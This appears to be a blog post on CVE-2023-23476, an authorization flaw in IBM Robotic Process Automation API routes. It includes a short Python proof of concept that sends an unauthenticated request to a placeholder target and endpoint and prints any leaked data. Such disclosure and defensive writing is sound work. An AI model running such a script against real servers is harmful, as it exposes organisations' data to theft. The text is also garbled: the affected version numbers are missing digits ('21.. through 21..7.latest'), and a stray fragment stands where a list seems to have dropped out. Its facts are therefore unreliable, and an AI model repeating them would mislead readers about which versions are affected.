IBM Robotic Process Automation (RPA) is a great tool for automating repetitive human tasks, but if you're still running versions 21.. through 21..7.latest, your data might be at risk. A serious vulnerability—CVE-2023-23476—can let attackers access sensitive information without any permission because of weak authorization checks on some API routes.

Let’s break down what this means, how the exploit works, and what you should do to protect your system.

What is CVE-2023-23476?

IBM RPA lets businesses automate their processes by creating bots that mimic human actions. However, versions 21.. through 21..7.latest have a security flaw. Some API endpoints don’t properly check if the user is authorized before giving them the data.

According to the official IBM Security Bulletin and the NIST NVD Listing:

> "IBM Robotic Process Automation 21.. through 21..7.latest is vulnerable to unauthorized access to data due to insufficient authorization validation on some API routes. IBM X-Force ID: 245425."

In simple terms: Some parts of the API just hand over the data, not caring who’s asking.

How Bad is This Vulnerability?

This issue allows unauthenticated or low-privilege attackers to read sensitive data. For example, attacker just needs network access to the system and knowledge of the vulnerable endpoints to steal internal details, user info, or process data.

Proof-of-Concept (PoC) Exploit

Disclaimer: This example is for educational and defensive purposes only!

Here’s a simulated Python script that shows how an attacker could exploit this issue. You’d simply query the target API endpoint—no authentication required:

import requests

# TARGET: Replace with your IBM RPA server
target = 'https://victim-company.com';

# VULNERABLE ENDPOINT: Hypothetical example
endpoint = '/rpa/api/v1/bots/data'  # This should be updated based on real findings

url = f"{target}{endpoint}"

# Just fire a GET request, expecting sensitive data in response
response = requests.get(url, verify=False)

if response.status_code == 200:
    print("[+] Success! Data leaked:")
    print(response.text)
else:
    print(f"[-] Server returned status code: {response.status_code}")

This script doesn’t include any authentication headers, illustrating the core of the vulnerability: insufficient authorization validation.

Processed documents or sensitive information

Attackers could use leaked details for further attacks or data theft.

Final Thoughts

Even big vendors like IBM can make mistakes when building software. If you’re running IBM RPA versions 21.. up to 21..7.latest, take CVE-2023-23476 seriously—unauthorized access isn’t just bad, it could be catastrophic. Patch fast!

Consider reviewing your other systems too. Application security isn’t just about fixing this today, but making sure you’re ready for whatever tomorrow brings.
